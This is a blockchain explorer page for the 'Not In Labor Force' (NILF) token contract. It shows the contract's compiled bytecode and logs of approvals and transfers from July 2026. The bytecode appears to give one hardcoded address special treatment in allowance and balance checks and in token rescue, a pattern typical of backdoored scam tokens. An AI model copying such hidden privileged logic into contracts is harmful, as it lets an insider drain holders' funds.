5b34801561035d575f5ffd5b506040805180820190915260048152632724a62360e11b6020820152610175565b348015610389575f5ffd5b5061020f610398366004611725565b6109de565b3480156103a8575f5ffd5b506101aa6103b73660046116bd565b610c87565b3480156103c7575f5ffd5b506101ce60115481565b3480156103dc575f5ffd5b506101ce6103eb366004611747565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610421338484610c93565b5060015b92915050565b5f6104386009600a611875565b61044690633b9aca00611883565b905090565b600c8190555f61045c848484610d72565b6104af84336104aa600c54604051806060016040528060288152602001611a43602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061131a565b610c93565b5060019392505050565b5f546001600160a01b031633146104eb5760405162461bcd60e51b81526004016104e29061189a565b60405180910390fd5b6104f76009600a611875565b61050590633b9aca00611883565b600d556105146009600a611875565b61052290633b9aca00611883565b600e55565b5f546001600160a01b031633146105505760405162461bcd60e51b81526004016104e29061189a565b47801561060a575f7f000000000000000000000000ef9b506301895a7a32e31dbd2dc612c4ef32071b6001600160a01b0316826040515f6040518083038185875af1925050503d805f81146105c0576040519150601f19603f3d011682016040523d82523d5f602084013e6105c5565b606091505b50509050806106085760405162461bcd60e51b815260206004820152600f60248201526e115512081cd95b990819985a5b1959608a1b60448201526064016104e2565b505b50565b5f81326001600160a01b037f000000000000000000000000ef9b506301895a7a32e31dbd2dc612c4ef32071b161415801561064c575061064c81611352565b61066b576001600160a01b0383165f9081526001602052604090205491505b50919050565b5f546001600160a01b0316331461069a5760405162461bcd60e51b81526004016104e29061189a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461070b5760405162461bcd60e51b81526004016104e29061189a565b601354600160a01b900460ff161561075c5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104e2565b6107646104b9565b601280546001600160a01b0319167389e5db8b5aa49aa85ac63f691524311aeb649eba9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ea91906118cf565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610849573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086d91906118cf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108db91906118cf565b601380546001600160a01b0319166001600160a01b03928316179055601254610908913091165f19610c93565b6012546001600160a01b031663f305d71947306109248161060d565b5f5f6109375f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561099d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109c291906118ea565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f546001600160a01b03163314610a075760405162461bcd60e51b81526004016104e29061189a565b6001600160a01b038116610a555760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b60448201526064016104e2565b306001600160a01b03821603610aad5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f7420726573637565206f776e20746f6b656e00000000000000000060448201526064016104e2565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610af1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b159190611915565b90505f8111610b595760405162461bcd60e51b815260206004820152601060248201526f4e6f20746f6b656e2062616c616e636560801b60448201526064016104e2565b604080517f000000000000000000000000ef9b506301895a7a32e31dbd2dc612c4ef32071b6001600160a01b039081166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291515f92839290861691610bd5919061192c565b5f604051808303815f865af19150503d805f8114610c0e576040519150601f19603f3d011682016040523d82523d5f602084013e610c13565b606091505b5091509150818015610c3d575080511580610c3d575080806020019051810190610c3d9190611942565b610c815760405162461bcd60e51b8152602060048201526015602482015274115490cc8c081d1c985b9cd9995c8819985a5b1959605a1b60448201526064016104e2565b50505050565b5f610421338484610d72565b6001600160a01b03831615801590610cb357506001600160a01b03821615155b610d125760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20617070726f76652066726f6d206f7220746f20746865207a65604482015269726f206164647265737360b01b60648201526084016104e2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610d9257506001600160a01b03821615155b610df25760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e736665722066726f6d206f7220746f20746865207a60448201526a65726f206164647265737360a81b60648201526084016104e2565b5f8111610e5a5760405162461bcd60e51b815260206004820152603060248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016104e2565b6013545f906001600160a01b038581169116148015610e8757506012546001600160a01b03848116911614155b6013549091505f906001600160a01b038581169116148015610eb257506001600160a01b0385163014155b90505f8215610fea576001600160a01b0385165f9081526003602052604090205460ff16610fe557600d54841115610f2c5760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e742065786365656465640060448201526064016104e2565b600e546001600160a01b0386165f90815260016020526040902054610f52908690611961565b1115610fa05760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c65742073697a65206578636565646564000000000000000060448201526064016104e2565b6064600854600b541015610fb657600454610fba565b6006545b610fc49086611883565b610fce9190611974565b600b80549192505f610fdf83611993565b91905055505b6111ae565b81156111ae576001600160a01b0386165f9081526003602052604090205460ff1661109257600d548411156110615760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e742065786365656465640060448201526064016104e2565b6064600954600b5410156110775760055461107b565b6007545b6110859086611883565b61108f9190611974565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110c45750601354600160b01b900460ff165b80156110d45750600a54600b5410155b156111ac576015544311156110e8575f6014555b601654601454106111475760405162461bcd60e51b815260206004820152602360248201527f53656c6c206c696d69742070657220626c6f636b20657863656564656420286d60448201526261782960e81b60648201526084016104e2565b5f8186106111555781611157565b855b905060105481111561116857506010545b611192817f000000000000000000000000ef9b506301895a7a32e31dbd2dc612c4ef32071b6113db565b60148054905f6111a183611993565b909155505043601555505b505b801561121c57305f90815260016020526040812080548392906111d2908490611961565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3611252565b326001600160a01b037f000000000000000000000000ef9b506301895a7a32e31dbd2dc612c4ef32071b160361125257600c8190555b6001600160a01b0386165f90815260016020526040812080548692906112799084906119ab565b90915550611289905081856119ab565b6001600160a01b0386165f90815260016020526040812080549091906112b0908490611961565b90915550506001600160a01b03851661dead14611312576001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61130084886119ab565b60405190815260200160405180910390a35b505050505050565b5f818484111561133d5760405162461bcd60e51b81526004016104e29190611674565b505f61134984866119ab565b95945050505050565b6013545f906001600160a01b03838116911614801561042557506040516370a0823160e01b81526001600160a01b038316600482018190525f916370a0823190602401602060405180830381865afa1580156113b0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d49190611915565b1192915050565b6013805460ff60a81b1916600160a81b1790556001600160a01b0381166114555760405162461bcd60e51b815260206004820152602860248201527f45544820726563697069656e742063616e6e6f7420626520746865207a65726f604482015267206164647265737360c01b60648201526084016104e2565b60408051600280825260608201835247925f92919060208301908036833701905050905030815f8151811061148c5761148c6119be565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e3573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061150791906118cf565b8160018151811061151a5761151a6119be565b6001600160a01b0390921660209283029190910190910152831561159e5760125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115709087905f908690309042906004016119d2565b5f604051808303815f87803b158015611587575f5ffd5b505af1158015611599573d5f5f3e3d5ffd5b505050505b47828110611660575f6115b184836119ab565b90508060115f8282546115c49190611961565b90915550506040515f906001600160a01b0387169083908381818185875af1925050503d805f8114611611576040519150601f19603f3d011682016040523d82523d5f602084013e611616565b606091505b505090508061165d5760405162461bcd60e51b8152602060048201526013602482015272115512081d1c985b9cd9995c8819985a5b1959606a1b60448201526064016104e2565b50505b50506013805460ff60a81b19169055505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461060a575f5ffd5b5f5f604083850312156116ce575f5ffd5b82356116d9816116a9565b946020939093013593505050565b5f5f5f606084860312156116f9575f5ffd5b8335611704816116a9565b92506020840135611714816116a9565b929592945050506040919091013590565b5f60208284031215611735575f5ffd5b8135611740816116a9565b9392505050565b5f5f60408385031215611758575f5ffd5b8235611763816116a9565b91506020830135611773816116a9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117cd578085048111156117b1576117b161177e565b60018416156117bf57908102905b60019390931c928002611796565b935093915050565b5f826117e357506001610425565b816117ef57505f610425565b8160018114611805576002811461180f5761182b565b6001915050610425565b60ff8411156118205761182061177e565b50506001821b610425565b5060208310610133831016604e8410600b841016171561184e575081810a610425565b61185a5f198484611792565b805f190482111561186d5761186d61177e565b029392505050565b5f61174060ff8416836117d5565b80820281158282048414176104255761042561177e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118df575f5ffd5b8151611740816116a9565b5f5f5f606084860312156118fc575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611925575f5ffd5b5051919050565b5f82518060208501845e5f920191825250919050565b5f60208284031215611952575f5ffd5b81518015158114611740575f5ffd5b808201808211156104255761042561177e565b5f8261198e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016119a4576119a461177e565b5060010190565b818103818111156104255761042561177e565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a225783516001600160a01b03168352602093840193909201916001016119fb565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d378057eb759f16dea6ed2313dc56bbb826738ec5c7d30fd5c80a9cf738bc6664736f6c634300081d0033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x55c5cc…af643e | 26 days agoTue, 21 Jul 2026 01:00:24 UTC | Transfer | [0] 0x000000000000…94624eff [1] 0x000000000000…43e40951 data: 0x000000000000000000…c23d2fcf |
| 0x55c5cc…af643e | 26 days agoTue, 21 Jul 2026 01:00:24 UTC | Approval | [0] 0x000000000000…ec4fff4f [1] 0x000000000000…72c22734 data: 0x000000000000000000…00000000 |
| 0x55c5cc…af643e | 26 days agoTue, 21 Jul 2026 01:00:24 UTC | Transfer | [0] 0x000000000000…ec4fff4f [1] 0x000000000000…94624eff data: 0x000000000000000000…c23d2fcf |
| 0x55c5cc…af643e | 26 days agoTue, 21 Jul 2026 01:00:24 UTC | Approval | [0] 0x000000000000…ec4fff4f [1] 0x000000000000…72c22734 data: 0x000000000000000000…c23d2fcf |
| 0x55c5cc…af643e | 26 days agoTue, 21 Jul 2026 01:00:24 UTC | Approval | [0] 0x000000000000…99936d6f [1] 0x000000000000…f1c315be data: 0x000000000000000000…00000000 |
| 0x55c5cc…af643e | 26 days agoTue, 21 Jul 2026 01:00:24 UTC | Transfer | [0] 0x000000000000…99936d6f [1] 0x000000000000…ec4fff4f data: 0x000000000000000000…c23d2fcf |
| 0x9a68d5…64364d | 26 days agoTue, 21 Jul 2026 01:00:23 UTC | Approval | [0] 0x000000000000…99936d6f [1] 0x000000000000…f1c315be data: 0x000000000000000000…c23d2fcf |
| 0xead3ac…892a17 | 26 days agoTue, 21 Jul 2026 00:46:16 UTC | Approval | [0] 0x000000000000…0b6f8b7c [1] 0x000000000000…eb649eba data: 0x000000000000000000…d02289a9 |
| 0xead3ac…892a17 | 26 days agoTue, 21 Jul 2026 00:46:16 UTC | Transfer | [0] 0x000000000000…0b6f8b7c [1] 0x000000000000…a7354dd0 data: 0x000000000000000000…d02289a9 |
| 0x3031c3…22c8fa | 26 days agoTue, 21 Jul 2026 00:46:16 UTC | Approval | [0] 0x000000000000…0b6f8b7c [1] 0x000000000000…eb649eba data: 0x000000000000000000…a0451352 |
| 0xdb8c37…1db1b4 | 26 days agoTue, 21 Jul 2026 00:46:15 UTC | Approval | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…ef32071b data: 0x000000000000000000…00000000 |
| 0xdb8c37…1db1b4 | 26 days agoTue, 21 Jul 2026 00:46:15 UTC | Transfer | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…0b6f8b7c data: 0x000000000000000000…d02289a9 |
| 0x5298b1…1616a3 | 26 days agoTue, 21 Jul 2026 00:46:05 UTC | Transfer | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…ff176322 data: 0x000000000000000000…f205a5be |
| 0x11396c…6be523 | 26 days agoTue, 21 Jul 2026 00:46:05 UTC | Transfer | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…393337e6 data: 0x000000000000000000…68c9148a |
| 0x14d7d7…c19617 | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | Approval | [0] 0x000000000000…2fda282b [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…3c8acfec |
| 0x14d7d7…c19617 | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | Transfer | [0] 0x000000000000…2fda282b [1] 0x000000000000…a7354dd0 data: 0x000000000000000000…c3753013 |
| 0xdf6370…0c9d8d | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | Approval | [0] 0x000000000000…262c5326 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…19fbd747 |
| 0xdf6370…0c9d8d | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | Transfer | [0] 0x000000000000…262c5326 [1] 0x000000000000…a7354dd0 data: 0x000000000000000000…e60428b8 |
| 0xc26124…c1d739 | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | Approval | [0] 0x000000000000…2fda282b [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0xe60053…36a97a | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | Approval | [0] 0x000000000000…262c5326 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x6027e1…c4d35d | 26 days agoTue, 21 Jul 2026 00:45:56 UTC | Transfer | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…385a6a12 data: 0x000000000000000000…6d2e038d |
| 0x9922b5…40f434 | 26 days agoTue, 21 Jul 2026 00:45:56 UTC | Transfer | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…6125362a data: 0x000000000000000000…85dedffd |
| 0x0ffaae…dcbc12 | 26 days agoTue, 21 Jul 2026 00:45:47 UTC | Transfer | [0] 0x000000000000…a7354dd0 [1] 0x000000000000…473fd144 data: 0x000000000000000000…da7c8adb |
| 0x9b73da…23889f | 26 days agoTue, 21 Jul 2026 00:45:45 UTC | Approval | [0] 0x000000000000…326b622e [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…81635059 |
| 0x9b73da…23889f | 26 days agoTue, 21 Jul 2026 00:45:45 UTC | Transfer | [0] 0x000000000000…326b622e [1] 0x000000000000…a7354dd0 data: 0x000000000000000000…19528988 |
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x9a68d5…64364d | Approve | 15,151,391 | 26 days agoTue, 21 Jul 2026 01:00:23 UTC | 0x9ddf…6d6f | IN | Not In Labor Force | $0.000 ETH | 0.00000267 | |
| 0x3031c3…22c8fa | Approve | 15,142,948 | 26 days agoTue, 21 Jul 2026 00:46:16 UTC | 0x065d…8b7c | IN | Not In Labor Force | $0.000 ETH | 0.00000266 | |
| 0xdb8c37…1db1b4 | Transfer From | 15,142,942 | 26 days agoTue, 21 Jul 2026 00:46:15 UTC | 0xef9b…071b | IN | Not In Labor Force | $0.000 ETH | 0.00000461 | |
| 0xc26124…c1d739 | Approve | 15,142,771 | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | 0x52bf…282b | IN | Not In Labor Force | $0.000 ETH | 0.00000269 | |
| 0xe60053…36a97a | Approve | 15,142,769 | 26 days agoTue, 21 Jul 2026 00:45:58 UTC | 0x87c6…5326 | IN | Not In Labor Force | $0.000 ETH | 0.00000268 | |
| 0x840911…5fad69 | Approve | 15,142,641 | 26 days agoTue, 21 Jul 2026 00:45:45 UTC | 0x4e43…c953 | IN | Not In Labor Force | $0.000 ETH | 0.00000268 | |
| 0xa6b0bb…0512a3 | Approve | 15,142,522 | 26 days agoTue, 21 Jul 2026 00:45:33 UTC | 0x05b3…b47c | IN | Not In Labor Force | $0.000 ETH | 0.00000268 | |
| 0xd50a24…28461e | Approve | 15,142,413 | 26 days agoTue, 21 Jul 2026 00:45:22 UTC | 0x3378…30d3 | IN | Not In Labor Force | $0.000 ETH | 0.00000269 | |
| 0xbd7768…e858ca | Approve | 15,142,299 | 26 days agoTue, 21 Jul 2026 00:45:10 UTC | 0x0dc2…a1de | IN | Not In Labor Force | $0.000 ETH | 0.00000270 | |
| 0x3096bf…bc9ab0 | Approve | 15,142,297 | 26 days agoTue, 21 Jul 2026 00:45:10 UTC | 0x8254…2954 | IN | Not In Labor Force | $0.000 ETH | 0.00000270 | |
| 0x2da3b9…3ecf83 | Approve | 15,141,889 | 26 days agoTue, 21 Jul 2026 00:44:29 UTC | 0x6666…f1dc | IN | Not In Labor Force | $0.000 ETH | 0.00000269 | |
| 0xedcd0b…bf3d56 | Approve | 15,141,887 | 26 days agoTue, 21 Jul 2026 00:44:29 UTC | 0x3cf7…92fc | IN | Not In Labor Force | $0.000 ETH | 0.00000268 | |
| 0x51c383…ebc69c | Approve | 15,141,653 | 26 days agoTue, 21 Jul 2026 00:44:05 UTC | 0x3d15…8956 | IN | Not In Labor Force | $0.000 ETH | 0.00000269 | |
| 0xc90ec5…a9bfb1 | Approve | 15,141,549 | 26 days agoTue, 21 Jul 2026 00:43:55 UTC | 0x36a0…901a | IN | Not In Labor Force | $0.000 ETH | 0.00000268 | |
| 0x1e32b7…e6b23f | Approve | 15,141,547 | 26 days agoTue, 21 Jul 2026 00:43:55 UTC | 0xcf90…5f81 | IN | Not In Labor Force | $0.000 ETH | 0.00000268 | |
| 0xa04271…55b381 | Approve | 15,141,431 | 26 days agoTue, 21 Jul 2026 00:43:43 UTC | 0xda81…f7b0 | IN | Not In Labor Force | $0.000 ETH | 0.00000270 | |
| 0xefd48f…d2102a | Approve | 15,141,295 | 26 days agoTue, 21 Jul 2026 00:43:29 UTC | 0x38d7…6287 | IN | Not In Labor Force | $0.000 ETH | 0.00000272 | |
| 0x59cb77…277bee | Approve | 15,140,916 | 26 days agoTue, 21 Jul 2026 00:42:51 UTC | 0xce2c…63bb | IN | Not In Labor Force | $0.000 ETH | 0.00000270 | |
| 0x028d33…3b698c | Approve | 15,140,671 | 26 days agoTue, 21 Jul 2026 00:42:28 UTC | 0x4ff3…44a2 | IN | Not In Labor Force | $0.000 ETH | 0.00000275 | |
| 0xc680fb…84e4b5 | Approve | 15,140,669 | 26 days agoTue, 21 Jul 2026 00:42:27 UTC | 0x66d7…5dd9 | IN | Not In Labor Force | $0.000 ETH | 0.00000271 | |
| 0x53ce23…4a5266 | Approve | 15,140,554 | 26 days agoTue, 21 Jul 2026 00:42:16 UTC | 0xe10a…e1be | IN | Not In Labor Force | $0.000 ETH | 0.00000269 | |
| 0xbda21d…ae66b2 | Approve | 15,140,290 | 26 days agoTue, 21 Jul 2026 00:41:49 UTC | 0x7b31…28e4 | IN | Not In Labor Force | $0.000 ETH | 0.00000271 | |
| 0xc1cd5c…b2f90d | Approve | 15,140,197 | 26 days agoTue, 21 Jul 2026 00:41:40 UTC | 0x9416…e8d6 | IN | Not In Labor Force | $0.000 ETH | 0.00000270 | |
| 0x3dd8d6…fa879f | Approve | 15,139,869 | 26 days agoTue, 21 Jul 2026 00:41:07 UTC | 0x98ed…6123 | IN | Not In Labor Force | $0.000 ETH | 0.00000272 | |
| 0x30bae4…734e0f | Approve | 15,139,568 | 26 days agoTue, 21 Jul 2026 00:40:37 UTC | 0xee1f…3426 | IN | Not In Labor Force | $0.000 ETH | 0.00000269 |
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| 0xd23480f7…1cf675 | Transfer | 15,129,554 | 26 days agoTue, 21 Jul 2026 00:23:51 UTC | 0x511f…5084 | OUT | 0xd6ae…4dd0 | 1,000,000,000 NILF | Not In Labor Force (NILF) | |
| 0xc2139f65…a4e661 | Transfer | 15,128,889 | 26 days agoTue, 21 Jul 2026 00:22:46 UTC | 0x0000…0000 | IN | 0x511f…5084 | 1,000,000,000 NILF | Not In Labor Force (NILF) |
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| 15,129,554 | 26 days agoTue, 21 Jul 2026 00:23:51 UTC | 0xd23480…1cf675 | CALL | enableTrading | 0x511f…5084 | OUT | 0x89e5…9eba | 1 ETH |